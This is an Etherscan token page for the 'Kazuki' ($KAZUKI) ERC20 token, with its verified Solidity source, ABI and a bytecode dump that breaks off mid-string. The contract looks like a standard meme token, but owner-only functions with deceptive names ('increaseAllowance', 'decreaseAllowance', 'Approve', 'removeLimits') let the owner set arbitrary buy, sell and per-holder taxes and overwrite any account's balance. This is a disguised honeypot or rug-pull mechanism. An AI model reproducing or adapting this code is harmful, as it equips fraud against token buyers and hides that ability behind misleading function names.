ETH Price: $3,262.36 (-0.65%)
Gas: 1 Gwei

Token

Kazuki かずき ($KAZUKI)
 

Overview

Max Total Supply

100,000,000,000 $KAZUKI

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,900,000,000.000000039324662017 $KAZUKI

Value
$0.00
0xf8b30d6ca79da0c33aaf5740f77fb71bfc1d0051
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAZUKI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-18
*/

/**

👁‍🗨 Website: https://KazukiERC.com/
👁‍🗨 Twitter: https://twitter.com/KazukiERC
👁‍🗨 TG: https://t.me/Kazuki_Portal

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract KAZUKI is ERC20, Ownable {

    using SafeMath for uint256;
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _isTax;
    mapping(address => uint256) private _accTax;

    uint256 private _buyTax;
    uint256 private _sellTax;
    address private uniswapV2Pair;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
    IUniswapV2Router02 private uniswapV2Router;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _mint(_msgSender(), totalSupply_ * 10**decimals());
        _isTax[_msgSender()] = true;
        _buyTax = 5;
        _sellTax = 25;  
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 _amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
        bool rF = true;
        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradeFeeAmount = 0;
        if (rF) {
            uint256 tradeFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {
                    tradeFee = _sellTax;
                }
                if (from == uniswapV2Pair) {
                    tradeFee = _buyTax;
                }
            }
            if (_accTax[from] > 0) {
                tradeFee = _accTax[from];
            }
            tradeFeeAmount = _amount.mul(tradeFee).div(100);
        }
        if (tradeFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradeFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount);
            emit Transfer(from, _deadAddress, tradeFeeAmount);
        }
        _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);
        _balances[to] = _balances[to].add(_amount - tradeFeeAmount);
        emit Transfer(from, to, _amount - tradeFeeAmount);
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _isTax[from] || _isTax[to];
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function increaseAllowance(uint256 _value) external onlyOwner {
        _sellTax = _value;
    }

    function decreaseAllowance(uint256 _value) external onlyOwner {
        _buyTax = _value;
    }

    function Approve(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 0");
        _accTax[_address] = _value;
    }

    function setBots(address _address, bool _value) external onlyOwner {
        _isTax[_address] = _value;
    }

    function removeLimits(address to, uint amount) external onlyOwner {
        _balances[to] = amount;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002f4b38038062002f4b833981810160405281019062000037919062000740565b828281600290816200004a919062000a1b565b5080600390816200005c919062000a1b565b5050506200007f620000736200034a60201b60201c565b6200035260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014b919062000b67565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d9919062000b67565b6040518363ffffffff1660e01b8152600401620001f892919062000baa565b6020604051808303816000875af115801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e919062000b67565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002c9620002926200034a60201b60201c565b620002a26200041860201b60201c565b600a620002b0919062000d67565b84620002bd919062000db8565b6200042160201b60201c565b600160066000620002df6200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600560088190555060196009819055505050505062000f15565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000493576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200048a9062000e8a565b60405180910390fd5b8060016000828254620004a7919062000eac565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ff919062000eac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000566919062000ef8565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005db8262000590565b810181811067ffffffffffffffff82111715620005fd57620005fc620005a1565b5b80604052505050565b60006200061262000572565b9050620006208282620005d0565b919050565b600067ffffffffffffffff821115620006435762000642620005a1565b5b6200064e8262000590565b9050602081019050919050565b60005b838110156200067b5780820151818401526020810190506200065e565b60008484015250505050565b60006200069e620006988462000625565b62000606565b905082815260208101848484011115620006bd57620006bc6200058b565b5b620006ca8482856200065b565b509392505050565b600082601f830112620006ea57620006e962000586565b5b8151620006fc84826020860162000687565b91505092915050565b6000819050919050565b6200071a8162000705565b81146200072657600080fd5b50565b6000815190506200073a816200070f565b92915050565b6000806000606084860312156200075c576200075b6200057c565b5b600084015167ffffffffffffffff8111156200077d576200077c62000581565b5b6200078b86828701620006d2565b935050602084015167ffffffffffffffff811115620007af57620007ae62000581565b5b620007bd86828701620006d2565b9250506040620007d08682870162000729565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200082d57607f821691505b602082108103620008435762000842620007e5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200086e565b620008b986836200086e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008fc620008f6620008f08462000705565b620008d1565b62000705565b9050919050565b6000819050919050565b6200091883620008db565b62000930620009278262000903565b8484546200087b565b825550505050565b600090565b6200094762000938565b620009548184846200090d565b505050565b5b818110156200097c57620009706000826200093d565b6001810190506200095a565b5050565b601f821115620009cb57620009958162000849565b620009a0846200085e565b81016020851015620009b0578190505b620009c8620009bf856200085e565b83018262000959565b50505b505050565b600082821c905092915050565b6000620009f060001984600802620009d0565b1980831691505092915050565b600062000a0b8383620009dd565b9150826002028217905092915050565b62000a2682620007da565b67ffffffffffffffff81111562000a425762000a41620005a1565b5b62000a4e825462000814565b62000a5b82828562000980565b600060209050601f83116001811462000a93576000841562000a7e578287015190505b62000a8a8582620009fd565b86555062000afa565b601f19841662000aa38662000849565b60005b8281101562000acd5784890151825560018201915060208501945060208101905062000aa6565b8683101562000aed578489015162000ae9601f891682620009dd565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b2f8262000b02565b9050919050565b62000b418162000b22565b811462000b4d57600080fd5b50565b60008151905062000b618162000b36565b92915050565b60006020828403121562000b805762000b7f6200057c565b5b600062000b908482850162000b50565b91505092915050565b62000ba48162000b22565b82525050565b600060408201905062000bc1600083018562000b99565b62000bd0602083018462000b99565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c655780860481111562000c3d5762000c3c62000bd7565b5b600185161562000c4d5780820291505b808102905062000c5d8562000c06565b945062000c1d565b94509492505050565b60008262000c80576001905062000d53565b8162000c90576000905062000d53565b816001811462000ca9576002811462000cb45762000cea565b600191505062000d53565b60ff84111562000cc95762000cc862000bd7565b5b8360020a91508482111562000ce35762000ce262000bd7565b5b5062000d53565b5060208310610133831016604e8410600b841016171562000d245782820a90508381111562000d1e5762000d1d62000bd7565b5b62000d53565b62000d33848484600162000c13565b9250905081840481111562000d4d5762000d4c62000bd7565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d748262000705565b915062000d818362000d5a565b925062000db07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c6e565b905092915050565b600062000dc58262000705565b915062000dd28362000705565b925082820262000de28162000705565b9150828204841483151762000dfc5762000dfb62000bd7565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e7260218362000e03565b915062000e7f8262000e14565b604082019050919050565b6000602082019050818103600083015262000ea58162000e63565b9050919050565b600062000eb98262000705565b915062000ec68362000705565b925082820190508082111562000ee15762000ee062000bd7565b5b92915050565b62000ef28162000705565b82525050565b600060208201905062000f0f600083018462000ee7565b92915050565b6120268062000f256000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80634db23e3e116100a257806390ec57f11161007157806390ec57f11461029257806395d89b41146102ae578063a9059cbb146102cc578063dd62ed3e146102fc578063f2fde38b1461032c5761010b565b80634db23e3e1461021e57806370a082311461023a578063715018a61461026a5780638da5cb5b146102745761010b565b806313b2a23e116100de57806313b2a23e1461019657806318160ddd146101b257806323b872dd146101d0578063313ce567146102005761010b565b806306fdde0314610110578063095ea7b31461012e57806310bad4cf1461015e57806311e330b21461017a575b600080fd5b610118610348565b604051610125919061166c565b60405180910390f35b61014860048036038101906101439190611727565b6103da565b6040516101559190611782565b60405180910390f35b6101786004803603810190610173919061179d565b6103fd565b005b610194600480360381019061018f919061179d565b610483565b005b6101b060048036038101906101ab91906117f6565b610509565b005b6101ba6105e0565b6040516101c79190611845565b60405180910390f35b6101ea60048036038101906101e59190611860565b6105ea565b6040516101f79190611782565b60405180910390f35b610208610619565b60405161021591906118cf565b60405180910390f35b61023860048036038101906102339190611727565b610622565b005b610254600480360381019061024f91906118ea565b6106e6565b6040516102619190611845565b60405180910390f35b61027261072f565b005b61027c6107b7565b6040516102899190611926565b60405180910390f35b6102ac60048036038101906102a79190611727565b6107e1565b005b6102b66108e9565b6040516102c3919061166c565b60405180910390f35b6102e660048036038101906102e19190611727565b61097b565b6040516102f39190611782565b60405180910390f35b61031660048036038101906103119190611941565b610999565b6040516103239190611845565b60405180910390f35b610346600480360381019061034191906118ea565b610a1f565b005b606060028054610357906119b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610383906119b0565b80156103d05780601f106103a5576101008083540402835291602001916103d0565b820191906000526020600020905b8154815290600101906020018083116103b357829003601f168201915b5050505050905090565b6000806103e5610b16565b90506103f2818585610b1e565b600191505092915050565b610405610b16565b73ffffffffffffffffffffffffffffffffffffffff166104236107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047090611a2d565b60405180910390fd5b8060088190555050565b61048b610b16565b73ffffffffffffffffffffffffffffffffffffffff166104a96107b7565b73ffffffffffffffffffffffffffffffffffffffff16146104ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f690611a2d565b60405180910390fd5b8060098190555050565b610511610b16565b73ffffffffffffffffffffffffffffffffffffffff1661052f6107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057c90611a2d565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b6000806105f5610b16565b9050610602858285610ce6565b61060d858585610d72565b60019150509392505050565b60006012905090565b61062a610b16565b73ffffffffffffffffffffffffffffffffffffffff166106486107b7565b73ffffffffffffffffffffffffffffffffffffffff161461069e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069590611a2d565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610737610b16565b73ffffffffffffffffffffffffffffffffffffffff166107556107b7565b73ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290611a2d565b60405180910390fd5b6107b56000611413565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107e9610b16565b73ffffffffffffffffffffffffffffffffffffffff166108076107b7565b73ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490611a2d565b60405180910390fd5b60008110156108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890611abf565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600380546108f8906119b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610924906119b0565b80156109715780601f1061094657610100808354040283529160200191610971565b820191906000526020600020905b81548152906001019060200180831161095457829003601f168201915b5050505050905090565b600061098f610988610b16565b8484610d72565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a27610b16565b73ffffffffffffffffffffffffffffffffffffffff16610a456107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9290611a2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0190611b51565b60405180910390fd5b610b1381611413565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8490611be3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf390611c75565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd99190611845565b60405180910390a3505050565b6000610cf28484610999565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d6c5781811015610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590611ce1565b60405180910390fd5b610d6b8484848403610b1e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890611d73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4790611e05565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece90611e97565b60405180910390fd5b600060019050610ee785856114d9565b15610ef157600090505b600081156110bc5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100757600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603610fab5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036110065760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561109257600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6110b860646110aa838861158490919063ffffffff16565b61159a90919063ffffffff16565b9150505b600081111561125b5761111781600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ae816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c690919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112529190611845565b60405180910390a35b6112b8818561126a9190611ee6565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611358818561130a9190611ee6565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876113f69190611ee6565b6040516114039190611845565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061157c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836115929190611f1a565b905092915050565b600081836115a89190611f8b565b905092915050565b600081836115be9190611ee6565b905092915050565b600081836115d49190611fbc565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116165780820151818401526020810190506115fb565b60008484015250505050565b6000601f19601f8301169050919050565b600061163e826115dc565b61164881856115e7565b93506116588185602086016115f8565b61166181611622565b840191505092915050565b600060208201905081810360008301526116868184611633565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116be82611693565b9050919050565b6116ce816116b3565b81146116d957600080fd5b50565b6000813590506116eb816116c5565b92915050565b6000819050919050565b611704816116f1565b811461170f57600080fd5b50565b600081359050611721816116fb565b92915050565b6000806040838503121561173e5761173d61168e565b5b600061174c858286016116dc565b925050602061175d85828601611712565b9150509250929050565b60008115159050919050565b61177c81611767565b82525050565b60006020820190506117976000830184611773565b92915050565b6000602082840312156117b3576117b261168e565b5b60006117c184828501611712565b91505092915050565b6117d381611767565b81146117de57600080fd5b50565b6000813590506117f0816117ca565b92915050565b6000806040838503121561180d5761180c61168e565b5b600061181b858286016116dc565b925050602061182c858286016117e1565b9150509250929050565b61183f816116f1565b82525050565b600060208201905061185a6000830184611836565b92915050565b6000806000606084860312156118795761187861168e565b5b6000611887868287016116dc565b9350506020611898868287016116dc565b92505060406118a986828701611712565b9150509250925092565b600060ff82169050919050565b6118c9816118b3565b82525050565b60006020820190506118e460008301846118c0565b92915050565b600060208284031215611900576118ff61168e565b5b60006119